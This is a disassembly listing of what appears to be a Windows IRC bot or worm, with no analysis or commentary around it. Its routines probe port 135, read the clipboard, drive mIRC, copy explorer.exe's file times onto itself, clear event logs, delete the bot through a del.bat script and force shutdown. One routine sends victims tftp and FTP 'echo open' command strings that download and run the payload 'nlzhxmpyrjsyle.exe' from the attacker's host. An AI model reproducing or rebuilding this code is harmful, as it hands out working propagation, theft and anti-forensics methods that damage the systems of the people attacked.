loc_4189BE: ; CODE XREF: sub_418650+34Fj
sub cl, al
mov [ebp+esi+Dst], cl
inc esi
mov [ebp+var_4], esi
loc_4189C8: ; CODE XREF: sub_418650+2F2j
; sub_418650+354j
cmp [ebp+Count], 2
jge short loc_418A48
call _rand
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fimul [ebp+var_4]
fmul ds:dbl_43C4C8
call __ftol
cmp eax, 1
jnz short loc_418A48
call _rand
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_43C4A8
call __ftol
mov cl, 30h
sub cl, al
mov [ebp+esi+Dst], cl
call _rand
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_43C4A0
call __ftol
cmp eax, 1
jnz short loc_418A48
cmp [ebp+Count], eax
jge short loc_418A48
call _rand
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_43C498
call __ftol
mov cl, 30h
sub cl, al
mov [ebp+esi+var_2B], cl
loc_418A48: ; CODE XREF: sub_418650+1B1j
; sub_418650+37Cj ...
lea eax, [ebp+Dst]
push 14h ; Count
push eax ; Source
push [ebp+Dest] ; Dest
call _strncpy
mov eax, [ebp+Dest]
add esp, 0Ch
pop edi
pop esi
pop ebx
leave
retn
sub_418650 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_418A61(int,int,void *Buf2,size_t Size)
sub_418A61 proc near ; CODE XREF: .text:00418BBEp
; .text:00418BE5p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
Buf2 = dword ptr 10h
Size = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
sub edi, [ebp+Size]
test edi, edi
jle short loc_418A8F
loc_418A72: ; CODE XREF: sub_418A61+2Cj
push [ebp+Size] ; Size
mov eax, [ebp+arg_0]
add eax, esi
push [ebp+Buf2] ; Buf2
push eax ; Buf1
call _memcmp
add esp, 0Ch
test eax, eax
jz short loc_418A95
inc esi
cmp esi, edi
jl short loc_418A72
loc_418A8F: ; CODE XREF: sub_418A61+Fj
xor al, al
loc_418A91: ; CODE XREF: sub_418A61+36j
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_418A95: ; CODE XREF: sub_418A61+27j
mov al, 1
jmp short loc_418A91
sub_418A61 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 2010h
call __alloca_probe
mov eax, [ebp+0Ch]
push esi
dec eax
push edi
jz short loc_418ADA
dec eax
jz short loc_418AB8
dec eax
loc_418AB2: ; CODE XREF: .text:00418AF0j
xor eax, eax
loc_418AB4: ; CODE XREF: .text:00418AD8j
; .text:00418C02j
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_418AB8: ; CODE XREF: .text:00418AAFj
push 3
push 1388h
push dword ptr [ebp+8]
call dword_4E3138 ; inet_addr
push eax
call sub_40C6E7
add esp, 0Ch
neg eax
sbb eax, eax
and eax, 3
jmp short loc_418AB4
; ---------------------------------------------------------------------------
loc_418ADA: ; CODE XREF: .text:00418AACj
push 6
push 1
push 2
call dword_4E3178 ; socket
mov esi, eax
or edi, 0FFFFFFFFh
cmp esi, edi
mov [ebp+0Ch], esi
jz short loc_418AB2
push ebx
xor ebx, ebx
push 10h
lea eax, [ebp-10h]
push ebx
push eax
call _memset
add esp, 0Ch
mov word ptr [ebp-10h], 2
push 87h
call dword_4E30F8 ; htons
push dword ptr [ebp+8]
mov [ebp-0Eh], ax
call sub_40AE55
pop ecx
mov [ebp-0Ch], eax
lea eax, [ebp-10h]
push 10h
push eax
push esi
call dword_4E30A0 ; connect
cmp eax, edi
jz loc_418BF6
push ebx
push 48h
push offset dword_44FC30
push esi
call dword_4E3148 ; send
cmp eax, edi
jz loc_418BF6
mov esi, 2000h
push ebx
lea eax, [ebp-2010h]
push esi
push eax
push dword ptr [ebp+0Ch]
call dword_4E3110 ; recv
cmp eax, edi
jz loc_418BF6
cmp byte ptr [ebp-200Eh], 0Ch
jnz short loc_418BF6
push ebx
push 18h
push offset dword_44FC7C
push dword ptr [ebp+0Ch]
call dword_4E3148 ; send
cmp eax, edi
jz short loc_418BF6
push ebx
lea eax, [ebp-2010h]
push esi
push eax
push dword ptr [ebp+0Ch]
call dword_4E3110 ; recv
mov esi, eax
cmp esi, edi
jz short loc_418BF6
cmp byte ptr [ebp-200Eh], 2
jnz short loc_418BF6
push 10h
push offset dword_44FC98
lea eax, [ebp-2010h]
push esi
push eax
call sub_418A61
add esp, 10h
test al, al
jz short loc_418BD6
cmp esi, 12Ch
setnl bl
inc ebx
jmp short loc_418BF6
; ---------------------------------------------------------------------------
loc_418BD6: ; CODE XREF: .text:00418BC8j
push 10h
push offset dword_44FCAC
lea eax, [ebp-2010h]
push esi
push eax
call sub_418A61
add esp, 10h
neg al
sbb eax, eax
and eax, 3
mov ebx, eax
loc_418BF6: ; CODE XREF: .text:00418B34j
; .text:00418B4Bj ...
push dword ptr [ebp+0Ch]
call dword_4E3190 ; closesocket
mov eax, ebx
pop ebx
jmp loc_418AB4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_418C07(char *Src,char *SubStr,char *Source)
sub_418C07 proc near ; CODE XREF: sub_401CC7+BD4p
; sub_401CC7+C11p ...
Src = dword ptr 8
SubStr = dword ptr 0Ch
Source = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+Src]
xor esi, esi
cmp edi, esi
jz short loc_418C92
mov eax, [ebp+SubStr]
cmp eax, esi
jz short loc_418C92
cmp [ebp+Source], esi
jz short loc_418C92
cmp byte ptr [eax], 0
jz short loc_418C92
push ebx
push edi ; Src
call __strdup
mov ebx, eax
pop ecx
test ebx, ebx
jz short loc_418C8D
push [ebp+SubStr] ; SubStr
push edi ; Str
call _strstr
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_418C86
sub eax, edi
push eax ; Count
push edi ; Source
push ebx ; Dest
call _strncpy
push [ebp+Source] ; Str
mov eax, ebx
sub eax, edi
and byte ptr [eax+esi], 0
call _strlen
push eax ; Count
push [ebp+Source] ; Source
push ebx ; Dest
call _strncat
push [ebp+SubStr] ; Str
call _strlen
add eax, esi
push eax ; Source
push ebx ; Dest
call _strcat
push ebx ; Source
push edi ; Dest
call _strcpy
add esp, 30h
mov esi, edi
loc_418C86: ; CODE XREF: sub_418C07+3Cj
push ebx ; Memory
call _free
pop ecx
loc_418C8D: ; CODE XREF: sub_418C07+2Bj
mov eax, esi
pop ebx
jmp short loc_418C94
; ---------------------------------------------------------------------------
loc_418C92: ; CODE XREF: sub_418C07+Cj
; sub_418C07+13j ...
xor eax, eax
loc_418C94: ; CODE XREF: sub_418C07+89j
pop edi
pop esi
pop ebp
retn
sub_418C07 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_418C98(char *Str,int)
sub_418C98 proc near ; CODE XREF: sub_401B4F+E9p
; sub_410C7D+F4p
Dst = dword ptr -7D0h
var_7CC = byte ptr -7CCh
Str = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7D0h
push ebx
push esi
push 7D0h ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
mov esi, [ebp+Str]
push esi ; Str
call _strlen
add esp, 10h
push 1
pop ebx
cmp eax, ebx
jge short loc_418CCE
or eax, 0FFFFFFFFh
jmp short loc_418D41
; ---------------------------------------------------------------------------
loc_418CCE: ; CODE XREF: sub_418C98+2Fj
xor ecx, ecx
mov [ebp+Dst], esi
test eax, eax
jle short loc_418CF0
loc_418CDA: ; CODE XREF: sub_418C98+56j
mov dl, [ecx+esi]
cmp dl, 0Ah
jz short loc_418CE7
cmp dl, 0Dh
jnz short loc_418CEB
loc_418CE7: ; CODE XREF: sub_418C98+48j
and byte ptr [ecx+esi], 0
loc_418CEB: ; CODE XREF: sub_418C98+4Dj
inc ecx
cmp ecx, eax
jl short loc_418CDA
loc_418CF0: ; CODE XREF: sub_418C98+40j
xor edx, edx
push edi
test eax, eax
jle short loc_418D21
lea edi, [ebp+var_7CC]
loc_418CFD: ; CODE XREF: sub_418C98+87j
cmp byte ptr [edx+esi], 0
jnz short loc_418D1C
cmp byte ptr [edx+esi+1], 0
lea ecx, [edx+esi+1]
jz short loc_418D1C
cmp ebx, 1F4h
jge short loc_418D21
mov [edi], ecx
inc ebx
add edi, 4
loc_418D1C: ; CODE XREF: sub_418C98+69j
; sub_418C98+74j
inc edx
cmp edx, eax
jl short loc_418CFD
loc_418D21: ; CODE XREF: sub_418C98+5Dj
; sub_418C98+7Cj
cmp [ebp+arg_4], 0
pop edi
jz short loc_418D3F
lea eax, [ebp+Dst]
push 7D0h ; Size
push eax ; Src
push [ebp+arg_4] ; Dst
call _memcpy
add esp, 0Ch
loc_418D3F: ; CODE XREF: sub_418C98+8Ej
mov eax, ebx
loc_418D41: ; CODE XREF: sub_418C98+34j
pop esi
pop ebx
leave
retn
sub_418C98 endp
; =============== S U B R O U T I N E =======================================
sub_418D45 proc near ; CODE XREF: sub_418D9F+33p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
push edi
mov edi, [esp+8+arg_8]
mov ecx, 1F4h
xor esi, esi
rep stosd
lea edi, [eax-1]
test edi, edi
jl short loc_418D7E
push ebx
mov ebx, edi
loc_418D62: ; CODE XREF: sub_418D45+36j
mov eax, [esp+0Ch+arg_0]
mov al, [esi+eax]
push eax
call sub_418D81
pop ecx
inc esi
mov ecx, [esp+0Ch+arg_8]
mov [ecx+eax*4], ebx
dec ebx
cmp esi, edi
jle short loc_418D62
pop ebx
loc_418D7E: ; CODE XREF: sub_418D45+18j
pop edi
pop esi
retn
sub_418D45 endp
; =============== S U B R O U T I N E =======================================
sub_418D81 proc near ; CODE XREF: sub_418D45+25p
; sub_418D9F+6Bp
arg_0 = byte ptr 4
movsx eax, [esp+arg_0]
push eax ; C
call _tolower ; _tolower
cmp al, 61h
pop ecx
jl short loc_418D9C
cmp al, 7Ah
jg short loc_418D9C
movsx eax, al
sub eax, 60h
retn
; ---------------------------------------------------------------------------
loc_418D9C: ; CODE XREF: sub_418D81+Ej
; sub_418D81+12j
xor eax, eax
retn
sub_418D81 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_418D9F(char *Str,int)
sub_418D9F proc near ; CODE XREF: .text:00415D48p
; .text:00415DCDp ...
var_100C = dword ptr -100Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
Str = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 100Ch
call __alloca_probe
push ebx
push esi
push edi
push [ebp+Str] ; Str
call _strlen
push [ebp+arg_4] ; Str
mov [ebp+var_4], eax
call _strlen
mov esi, eax
lea eax, [ebp+var_100C]
push eax
push esi
push [ebp+arg_4]
mov [ebp+var_C], esi
call sub_418D45
add esp, 14h
dec esi
mov edi, esi
loc_418DDD: ; CODE XREF: sub_418D9F+B6j
test esi, esi
jle short loc_418E5B
mov eax, [ebp+arg_4]
movsx eax, byte ptr [esi+eax]
push eax ; C
call _tolower ; _tolower
mov ebx, eax
mov eax, [ebp+Str]
movsx eax, byte ptr [edi+eax]
push eax ; C
call _tolower ; _tolower
pop ecx
cmp eax, ebx
pop ecx
jz short loc_418E53
loc_418E03: ; CODE XREF: sub_418D9F+B2j
mov ebx, [ebp+Str]
mov al, [edi+ebx]
push eax
call sub_418D81
mov edx, [ebp+var_C]
mov eax, [ebp+eax*4+var_100C]
pop ecx
mov ecx, edx
sub ecx, esi
cmp ecx, eax
jle short loc_418E24
mov eax, ecx
loc_418E24: ; CODE XREF: sub_418D9F+81j
add edi, eax
cmp edi, [ebp+var_4]
jge short loc_418E57
mov eax, [ebp+arg_4]
lea esi, [edx-1]
movsx eax, byte ptr [esi+eax]
push eax ; C
call _tolower ; _tolower
mov edx, eax
movsx eax, byte ptr [edi+ebx]
push eax ; C
mov [ebp+var_8], edx
call _tolower ; _tolower
pop ecx
pop ecx
mov ecx, [ebp+var_8]
cmp eax, ecx
jnz short loc_418E03
loc_418E53: ; CODE XREF: sub_418D9F+62j
dec edi
dec esi
jmp short loc_418DDD
; ---------------------------------------------------------------------------
loc_418E57: ; CODE XREF: sub_418D9F+8Aj
xor eax, eax
jmp short loc_418E60
; ---------------------------------------------------------------------------
loc_418E5B: ; CODE XREF: sub_418D9F+40j
mov eax, [ebp+Str]
add eax, edi
loc_418E60: ; CODE XREF: sub_418D9F+BAj
pop edi
pop esi
pop ebx
leave
retn
sub_418D9F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418E65 proc near ; CODE XREF: sub_401CC7+6824p
; sub_401CC7+7954p
var_100 = byte ptr -100h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 100h
push esi
call ds:dword_4F5360 ; RtlGetLastWin32Error
mov esi, eax
push 0
lea eax, [ebp+var_100]
push 100h
push eax
push 400h
push esi
push 0
push 1200h
call ds:dword_4F542C ; FormatMessageA
lea eax, [ebp+var_100]
loc_418E9E: ; CODE XREF: sub_418E65+46j
mov cl, [eax]
cmp cl, 1Fh
jg short loc_418EAA
cmp cl, 9
jnz short loc_418EAD
loc_418EAA: ; CODE XREF: sub_418E65+3Ej
inc eax
jmp short loc_418E9E
; ---------------------------------------------------------------------------
loc_418EAD: ; CODE XREF: sub_418E65+43j
; sub_418E65+5Bj ...
and byte ptr [eax], 0
dec eax
lea ecx, [ebp+var_100]
cmp eax, ecx
jb short loc_418EC7
mov cl, [eax]
cmp cl, 2Eh
jz short loc_418EAD
cmp cl, 21h
jl short loc_418EAD
loc_418EC7: ; CODE XREF: sub_418E65+54j
lea eax, [ebp+var_100]
push esi
push eax
mov esi, offset byte_4F2994
push [ebp+arg_0]
push offset aSErrorSD_ ; "%s Error: %s <%d>."
push 200h ; Count
push esi ; Dest
call __snprintf
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_418E65 endp
; =============== S U B R O U T I N E =======================================
sub_418EEF proc near ; CODE XREF: sub_401CC7+24BBp
push esi
push 0
call dword_4E30C8 ; OpenClipboard
test eax, eax
jz short loc_418F26
push 1
call dword_4E30E8 ; GetClipboardData
mov esi, eax
test esi, esi
jz short loc_418F26
push edi
push esi
call ds:dword_4F5434 ; GlobalLock
push esi
mov edi, eax
call ds:dword_4F5430 ; GlobalUnlock
call dword_4E314C ; CloseClipboard
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_418F26: ; CODE XREF: sub_418EEF+Bj
; sub_418EEF+19j
xor eax, eax
pop esi
retn
sub_418EEF endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_418F2A(char *Format)
sub_418F2A proc near ; CODE XREF: sub_401CC7+770Ap
Format = dword ptr 4
push ebp
push esi
xor esi, esi
push esi
push offset aMirc_2 ; "mIRC"
call dword_4E3104 ; FindWindowA
mov ebp, eax
cmp ebp, esi
jz short loc_418FAA
push ebx
push edi
push offset aMirc_3 ; "mIRC"
push 1000h
push esi
push 4
push esi
push 0FFFFFFFFh
call ds:dword_4F5440 ; CreateFileMappingA
push esi
push esi
mov edi, eax
push esi
push 0F001Fh
push edi
call ds:dword_4F543C ; MapViewOfFile
push [esp+10h+Format] ; Format
mov ebx, eax
push ebx ; Dest
call _sprintf
pop ecx
pop ecx
push esi
push 1
push 4C8h
push ebp
call dword_4E3154 ; SendMessageA
push esi
push 1
push 4C9h
push ebp
call dword_4E3154 ; SendMessageA
push ebx
call ds:dword_4F5438 ; UnmapViewOfFile
push edi
call ds:dword_4F533C ; CloseHandle
push 1
pop eax
pop edi
pop ebx
jmp short loc_418FAC
; ---------------------------------------------------------------------------
loc_418FAA: ; CODE XREF: sub_418F2A+14j
xor eax, eax
loc_418FAC: ; CODE XREF: sub_418F2A+7Ej
pop esi
pop ebp
retn
sub_418F2A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418FAF proc near ; CODE XREF: WinMain(x,x,x,x)+212p
var_11C = byte ptr -11Ch
var_18 = byte ptr -18h
var_10 = byte ptr -10h
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
push ebx
push esi
xor esi, esi
push edi
lea eax, [ebp+var_11C]
push esi
push eax
push 104h
push esi
push offset aExplorer_exe ; "explorer.exe"
push esi
call dword_4E31B4 ; SearchPathA
test eax, eax
jz short loc_41904E
mov edi, 80h
push esi
push edi
push 3
push esi
mov esi, ds:dword_4F53C0
push 1
lea eax, [ebp+var_11C]
push 80000000h
push eax
call esi ; CreateFileA
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_41904E
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push ebx
call ds:dword_4F5448 ; GetFileTime
push ebx
mov ebx, ds:dword_4F533C
call ebx ; CloseHandle
push 0
push edi
push 3
push 0
push 2
push 40000000h
push [ebp+arg_0]
call esi ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_41904E
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push esi
call ds:dword_4F5444 ; SetFileTime
push esi
call ebx ; CloseHandle
loc_41904E: ; CODE XREF: sub_418FAF+2Aj
; sub_418FAF+51j ...
pop edi
pop esi
pop ebx
leave
retn
sub_418FAF endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 454h
push esi
xor esi, esi
push 10h
lea eax, [ebp-10h]
push esi
push eax
call _memset
push 44h
lea eax, [ebp-54h]
push esi
push eax
call _memset
add esp, 18h
lea eax, [ebp-454h]
mov dword ptr [ebp-54h], 44h
mov dword ptr [ebp-28h], 1
push dword ptr [ebp+0Ch]
mov [ebp-24h], si
push dword ptr [ebp+8]
push offset aSS_11 ; "%s %s"
push 400h
push eax
call __snprintf
add esp, 14h
lea eax, [ebp-10h]
push eax
lea eax, [ebp-54h]
push eax
push esi
push esi
push 28h
push esi
push esi
lea eax, [ebp-454h]
push esi
push eax
push dword ptr [ebp+8]
call ds:dword_4F5340 ; CreateProcessA
neg eax
sbb eax, eax
pop esi
and eax, [ebp-8]
leave
retn
; =============== S U B R O U T I N E =======================================
sub_4190D4 proc near ; CODE XREF: sub_401CC7+16A2p
push 1
push offset aSeshutdownpriv ; "SeShutdownPrivilege"
call sub_41A51E
pop ecx
pop ecx
push 50005h
push 6
call dword_4E3038 ; ExitWindowsEx
neg eax
sbb eax, eax
neg eax
retn
sub_4190D4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4190F6 proc near ; CODE XREF: sub_401CC7+2745p
; sub_416F62+472p
Str = byte ptr -764h
var_364 = byte ptr -364h
Dest = byte ptr -260h
var_15C = byte ptr -15Ch
var_58 = dword ptr -58h
var_4C = dword ptr -4Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
Dst = byte ptr -14h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 764h
push esi
xor esi, esi
cmp dword_43F090, esi
push edi
jz short loc_41911A
cmp dword_4E31C8, esi
jnz short loc_41911A
push esi ; Str
call sub_401000
pop ecx
loc_41911A: ; CODE XREF: sub_4190F6+13j
; sub_4190F6+1Bj
call sub_40B91F
lea eax, [ebp+Str]
push eax
push 400h
call ds:dword_4F5384 ; GetTempPathA
lea eax, [ebp+Str]
push eax
lea eax, [ebp+Dest]
push offset aSdel_bat ; "%sdel.bat"
push eax ; Dest
call _sprintf
add esp, 0Ch
lea eax, [ebp+Dest]
push esi
push esi
push 2
push esi
push esi
push 40000000h
push eax
call ds:dword_4F53C0 ; CreateFileA
mov edi, eax
cmp edi, esi
jbe loc_41927A
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+Str]
push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
push eax ; Dest
call _sprintf
add esp, 0Ch
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+Str]
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
push edi
call ds:dword_4F53B4 ; WriteFile
push edi
call ds:dword_4F533C ; CloseHandle
push 10h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
push 44h
lea eax, [ebp+var_58]
pop edi
push edi ; Size
push esi ; Val
push eax ; Dst
call _memset
add esp, 18h
mov [ebp+var_58], edi
mov edi, 104h
lea eax, [ebp+var_15C]
push edi
push eax
push esi
mov [ebp+var_4C], offset dword_4F2B98
mov [ebp+var_2C], 1
mov [ebp+var_28], si
call ds:dword_4F5370 ; GetModuleHandleA
push eax
call ds:dword_4F5344 ; GetModuleFileNameA
lea eax, [ebp+var_15C]
push eax
call ds:dword_4F536C ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short loc_419222
lea eax, [ebp+var_15C]
push 80h
push eax
call ds:dword_4F5368 ; SetFileAttributesA
loc_419222: ; CODE XREF: sub_4190F6+118j
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+Str]
push offset aComspecCSS ; "%%comspec%% /c %s %s"
push eax ; Dest
call _sprintf
add esp, 10h
lea eax, [ebp+var_364]
push edi
push eax
lea eax, [ebp+Str]
push eax
call ds:dword_4F544C ; ExpandEnvironmentStringsA
lea eax, [ebp+Dst]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push 4008h
push 1
push esi
lea eax, [ebp+var_364]
push esi
push eax
push esi
call ds:dword_4F5340 ; CreateProcessA
loc_41927A: ; CODE XREF: sub_4190F6+72j
pop edi
pop esi
leave
retn
sub_4190F6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41927E(int,char *Str,int,int,int)
sub_41927E proc near ; CODE XREF: sub_401CC7+72DBp
Dest = byte ptr -294h
Dst = dword ptr -94h
var_84 = dword ptr -84h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 294h
push edi
xor edi, edi
push 94h ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+Dst]
mov [ebp+Dst], 94h
push eax
call ds:dword_4F539C ; GetVersionExA
cmp [ebp+var_84], 2
jnz short loc_419314
push [ebp+arg_10]
push [ebp+arg_C]
call dword_4E3078 ; OpenEventLogA
push edi
push eax
call dword_4E3088 ; ClearEventLogA
test eax, eax
jz short loc_419306
push [ebp+arg_10]
push offset asc_44FD78 ; "-"
loc_4192DF: ; CODE XREF: sub_41927E+94j
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
push edi ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409D34
add esp, 20h
jmp short loc_41933E
; ---------------------------------------------------------------------------
loc_419306: ; CODE XREF: sub_41927E+57j
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_44FD94
jmp short loc_4192DF
; ---------------------------------------------------------------------------
loc_419314: ; CODE XREF: sub_41927E+3Fj
lea eax, [ebp+Dest]
push offset asc_44FDBC ; "-"
push eax ; Dest
call _sprintf
push edi ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409D34
add esp, 1Ch
loc_41933E: ; CODE XREF: sub_41927E+86j
pop edi
leave
retn
sub_41927E endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor edi, edi
push 10h
lea eax, [ebp-10h]
push edi
push eax
call _memset
add esp, 0Ch
lea eax, [ebp+0Ch]
mov word ptr [ebp-10h], 2
push eax
call dword_4E3138 ; inet_addr
push dword ptr [ebp+0C4h]
mov [ebp-0Ch], eax
call dword_4E30F8 ; htons
push edi
push 1
push 2
mov [ebp-0Eh], ax
call dword_4E3178 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
mov [ebp+0C4h], esi
jz loc_419444
lea eax, [ebp-10h]
push 10h
push eax
push esi
call dword_4E30A0 ; connect
cmp eax, 0FFFFFFFFh
jz loc_419444
mov ebx, 400h
push edi
lea eax, [ebp-5A0h]
push ebx
push eax
push esi
call dword_4E3110 ; recv
mov esi, offset Str ; "nlzhxmpyrjsyle.exe"
push esi
push esi
push dword ptr [ebp+8]
call sub_40AF71
pop ecx
mov edi, 190h
push eax
push offset aTftpISGetSS ; "tftp -i %s get %s &%s\r\n"
lea eax, [ebp-1A0h]
push edi
push eax
call __snprintf
movzx eax, word ptr dword_4E2E18
add esp, 18h
push esi
push esi
push eax
push dword ptr [ebp+8]
call sub_40AF71
pop ecx
push eax
push offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user 1 1 >> o "...
lea eax, [ebp-1A0h]
push edi
push eax
call __snprintf
add esp, 1Ch
lea eax, [ebp-1A0h]
push 0
push eax
call _strlen
pop ecx
push eax
lea eax, [ebp-1A0h]
push eax
push dword ptr [ebp+0C4h]
call dword_4E3148 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_419448
loc_419444: ; CODE XREF: .text:00419397j
; .text:004193ADj
xor al, al
jmp short loc_41946C
; ---------------------------------------------------------------------------
loc_419448: ; CODE XREF: .text:00419442j
push 0
lea eax, [ebp-5A0h]
push ebx
push eax
push dword ptr [ebp+0C4h]
call dword_4E3110 ; recv
push dword ptr [ebp+0C4h]
call dword_4E3190 ; closesocket
mov al, 1
loc_41946C: ; CODE XREF: .text:00419446j
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_419471(char *Source,int,int)
sub_419471 proc near ; CODE XREF: sub_401CC7+567Fp
Dest = word ptr -1C0h
var_15C = byte ptr -15Ch
Str = word ptr -0F8h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
Source = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C0h
lea eax, [ebp+var_94]
mov [ebp+var_94], 94h
push eax
call ds:dword_4F539C ; GetVersionExA
cmp [ebp+var_90], 4
jnz short loc_4194C7
cmp [ebp+var_8C], 0
jnz short loc_4194B0
push 1
pop eax
cmp [ebp+var_84], eax
jnz short loc_4194C7
leave
retn
; ---------------------------------------------------------------------------
loc_4194B0: ; CODE XREF: sub_419471+30j
cmp [ebp+var_8C], 0Ah
jz short loc_4194C2
cmp [ebp+var_8C], 5Ah
jnz short loc_4194C7
loc_4194C2: ; CODE XREF: sub_419471+46j
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_4194C7: ; CODE XREF: sub_419471+27j
; sub_419471+3Bj ...
push esi
push edi
push offset aNetapi32_dll_0 ; "netapi32.dll"
call ds:dword_4F538C ; LoadLibraryA
mov esi, eax
push offset aNetmessagebu_0 ; "NetMessageBufferSend"
push esi
call ds:dword_4F5390 ; GetProcAddress
push 32h ; MaxCount
mov edi, eax
push [ebp+Source] ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _mbstowcs
push 32h ; MaxCount
lea eax, [ebp+var_15C]
push [ebp+arg_4] ; Source
push eax ; Dest
call _mbstowcs
push 32h ; MaxCount
lea eax, [ebp+Str]
push [ebp+arg_8] ; Source
push eax ; Dest
call _mbstowcs
lea eax, [ebp+Str]
push eax ; Str
call _wcslen
shl eax, 1
push eax
lea eax, [ebp+Str]
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+Dest]
push eax
push 0
call edi ; GetProcessHeap
add esp, 3Ch
mov edi, eax
push esi
call ds:dword_4F5410 ; FreeLibrary
mov eax, edi
pop edi
pop esi
leave
retn
sub_419471 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419551 proc near ; CODE XREF: sub_401317+F7p
; sub_40F149+Ap ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
call ds:dword_4F537C ; GetTickCount
push eax ; Seed
call _srand
pop ecx
call _rand
mov esi, [ebp+arg_0]
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
fild [ebp+var_4]
sub eax, esi
mov [ebp+arg_4], eax
fimul [ebp+arg_4]
fmul ds:dbl_43C4E0
call __ftol
sub esi, eax
mov eax, esi
pop esi
leave
retn
sub_419551 endp
; =============== S U B R O U T I N E =======================================
sub_41958E proc near ; CODE XREF: sub_401CC7+45BAp
; sub_401CC7+4610p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_4195E6
lea esi, [eax+eax*2]
push 0
shl esi, 2
push 0
push dword_44FE90[esi]
push edi
push eax
call sub_419608
add esp, 14h
test eax, eax
jnz short loc_4195D6
push edi
push off_44FE8C[esi]
push offset asc_44FF50 ; "-"
loc_4195C6: ; CODE XREF: sub_41958E+56j
mov esi, offset byte_4F325C
push esi ; Dest
call _sprintf
add esp, 10h
jmp short loc_419603
; ---------------------------------------------------------------------------
loc_4195D6: ; CODE XREF: sub_41958E+2Aj
push eax
call sub_4196AA
pop ecx
push eax
push edi
